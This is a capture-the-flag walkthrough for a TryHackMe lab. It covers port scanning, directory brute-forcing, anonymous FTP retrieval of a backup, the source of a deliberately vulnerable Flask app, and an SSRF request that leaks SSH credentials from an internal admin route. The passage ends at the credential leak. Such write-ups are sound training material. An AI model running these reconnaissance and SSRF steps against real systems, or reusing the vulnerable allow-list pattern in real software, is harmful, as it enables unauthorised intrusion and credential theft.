# Challenge: Operation Coldstart (TryHackMe)
Link to the challenge on TryHackMe: [Operation Coldstart](https://tryhackme.com/room/operationcoldstart)
> Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.
>
> Start the VM by clicking the `Start Lab Machine` button at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.
>
> Allow two to three minutes for all services to start.
## Answer the questions below
### What is the content of user.txt?
```markdown
nmap -p- -sV IP_Address
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
```
`gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt`
```markdown
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/admin (Status: 308) [Size: 243] [--> http://IP_Address/admin/]
/preview (Status: 400) [Size: 2493]
```
```markdown
ftp IP_Address
Connected to IP_Address.
220 (vsFTPd 3.0.5)
Name (IP_Address:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40031|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||40072|)
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 .
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 ..
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||40014|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40030|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |*******************************************************| 2446 4.94 MiB/s 00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (2.70 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||40036|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 .
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 ..
-rw-r--r-- 1 ftp ftp 2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp>
```
```markdown
tar xzvf backup.tar.gz
voltlabs-preview/
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py
root@ip-10-114-125-137:~# cd voltlabs-preview
root@ip-10-114-125-137:~/voltlabs-preview# ls
README.md app.py requirements.txt
root@ip-10-114-125-137:~/voltlabs-preview# cat requirements.txt
flask
requests
gunicorn
root@ip-10-114-125-137:~/voltlabs-preview# cat README.md
# Volt Labs URL Preview
Internal staging tool. Run with `gunicorn -b 0.0.0.0:80 app:app`.
Admin routes are gated by source-IP check (localhost only).
root@ip-10-114-125-137:~/voltlabs-preview# cat app.py
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests
app = Flask(__name__)
# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}
CSS = """
"""
def page(title, body):
return f"""
{title} - Volt Labs{CSS}
{body}
"""
@app.route("/")
def index():
body = """
URL Preview Service
Internal tool. Paste a URL below to preview its contents.
"""
return page("URL Preview", body)
@app.route("/preview")
def preview():
target = request.args.get("url", "")
if not target:
return page("Preview Error",
'
Provide a ?url= parameter.
'), 400
# VULN: hostname allow-list is the only check. No scheme check, no path check,
# no localhost-rebind protection - the SSRF is still abusable, but only
# against the allowed hostname.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return page("Preview Blocked",
'
Host not in the approved internal allow-list.
'), 403
try:
r = requests.get(target, timeout=3)
safe_target = html.escape(target)
safe_body = r.text.replace("<", "<")
body = f"""
Preview of {safe_target}
{safe_body}
"""
return page("Preview", body)
except Exception as e:
safe_err = html.escape(str(e))
return page("Preview Failed",
f'
Fetch failed: {safe_err}
'), 502
@app.route("/admin/")
@app.route("/admin/")
def admin(p="index"):
if not request.remote_addr.startswith("127."):
abort(403)
if p == "notes":
with open("/opt/voltlabs-preview/admin_notes.txt") as f:
return "
" + f.read() + "
"
return "
Volt Labs admin endpoint.
"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)
```
```markdown
curl "http://IP_Address/preview?url=http://kestrel.thm/admin/notes"
Preview - Volt Labs
Preview of http://kestrel.thm/admin/notes
<pre>=== INTERNAL ===
SSH access for staging:
user: webdev
pass: V0ltLabs#summer
- Mara
</pre>